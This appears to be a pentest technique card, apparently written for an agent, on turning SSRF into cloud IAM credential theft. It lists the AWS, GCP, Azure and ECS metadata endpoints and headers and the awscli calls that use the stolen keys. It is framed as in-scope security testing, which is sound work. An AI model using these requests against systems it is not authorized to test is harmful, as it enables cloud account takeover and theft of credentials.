| name | cloud-imds-ssrf |
| description | Escalate SSRF to cloud credential theft via the instance metadata service (IMDS). Load when SSRF is confirmed AND the target runs on AWS/GCP/Azure. Signals: 169.254.169.254 reachable, cloud-hosted app, SSRF that can set arbitrary Host/headers, "metadata".
|
| domain | cloud |
| type | technique |
| stability | learning |
| modes | ["pentest","bugbounty"] |
| severity | critical |
| owasp | ["A10:2021-SSRF"] |
| cwe | ["CWE-918"] |
| mitre | ["T1552.005"] |
| tools | ["curl","awscli"] |
| schema_version | 1 |
SSRF → cloud metadata → IAM credential theft
When it applies
You have SSRF and the app runs on a cloud VM/container with an attached role. The metadata
endpoint hands out temporary credentials to anything that can reach it from the instance.
Why it works
IMDS lives at a link-local IP (169.254.169.254) and trusts network position, not identity.
SSRF gives you that position, so the app fetches the instance's role credentials for you —
then you use them against the cloud API with the app's permissions.
Method
- AWS IMDSv1 (no token): SSRF to
http://169.254.169.254/latest/meta-data/iam/security-credentials/ → role name →
.../security-credentials/<role> returns AccessKeyId, SecretAccessKey, Token.
- AWS IMDSv2 (token required): needs a PUT to get a token, then a header on the GET —
possible only if the SSRF can set method +
X-aws-ec2-metadata-token header. Many SSRFs can't;
note IMDSv2 as the mitigation if it blocks you.
- GCP:
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
with header Metadata-Flavor: Google (needs header-setting SSRF).
- Azure:
http://169.254.169.254/metadata/identity/oauth2/token?... with Metadata: true.
- Use the creds (in scope only): configure the CLI with the temp key/secret/token and run
read-only calls (
aws sts get-caller-identity, s3 ls) to prove impact — don't touch data.
Gotchas
- IMDSv2/
Metadata header requirements defeat header-less SSRF — that's a finding (says v2 is on), not a dead end.
- Temp creds expire fast; grab
sts get-caller-identity immediately as proof.
- Containers may hit the ECS task metadata (
169.254.170.2) instead of EC2 IMDS.
Verify success
aws sts get-caller-identity (or GCP/Azure equivalent) returns the instance role identity
using credentials pulled through the SSRF.
References
PortSwigger SSRF labs; AWS IMDSv2 docs; "SSRF to cloud takeover" write-ups.
